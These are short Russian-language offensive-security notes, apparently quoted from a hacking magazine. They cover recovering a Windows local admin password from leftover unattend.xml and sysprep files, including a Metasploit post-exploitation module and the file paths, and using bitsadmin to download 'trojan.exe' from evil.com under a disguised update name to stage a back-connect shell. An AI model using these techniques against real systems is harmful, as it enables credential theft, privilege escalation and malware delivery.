[ один из путей получения пароля админа windows ]

Metasploit есть специальный модуль для постэксплуатации: post/windows/gather/enum_unattend

расположение файлов:

C:\Windows\Panther\unattend.xml или Autounattend.xml

C:\Windows\Panther\Unattend\unattend.xml или Autounattend.xml
C:\sysprep.inf
C:\sysprep\sysprep.xml

"У каждой крупной компании есть типовая задача: покупаются новые компью-

теры, и на них надо установить Windows и дополнительное ПО, настроить. Есть

несколько официальных подходов к автоматизации этого процесса, но их под-

робности для нас не особенно важны. Интересно лишь то, что при установке

ОС необходимо указывать различные параметры и они задаются с помощью

специального файла. Причем если задается пароль для пользователя (локаль-

ного админа), то содержится он в этом файле в плейнтексте (максимум —

в Base64). Иногда этот файл может быть оставлен в файловой системе Windows.

Таким образом, обладая лишь пользовательским доступом в ОС, мы можем

поискать этот специальный файл и узнать, нет ли в нем пароля. Воистину easy hack!"

ЗАКАЧАТЬ ФАЙЛ В WINDOWS С ПОМОЩЬЮ BITS

bitsadmin /transfer myjob /download http://evil.com/trojan.exe c:\Windows\Temp\kb123456.exe

"Представим себе типичную ситуацию: через какую-то уязвимость мы по-
лучили возможность удаленно выполнять команды на сервере с Windows.
Высоких привилегий в ОС у нас нет, и порты зафильтрованы на внешнем
файрволе. Подошел бы вариант с бэк-коннект шеллом, но ведь надо зака-
чать наш шелл в ОС. И если под *nix-системы существует куча разных воз-
можностей, то с виндой труднее. Можно, конечно, использовать FTP-кли-
ент или скрипт WSH, но эти варианты требуют многострочных действий,
что часто бывает проблемой из-за ограничений уязвимости, которая дает
RCE.
Оказывается, Windows еще со времен XP хранит в себе интересную
тулзу — bitsadmin."

https://msdn.microsoft.com/en-us/library/aa362813(v=vs.85).aspx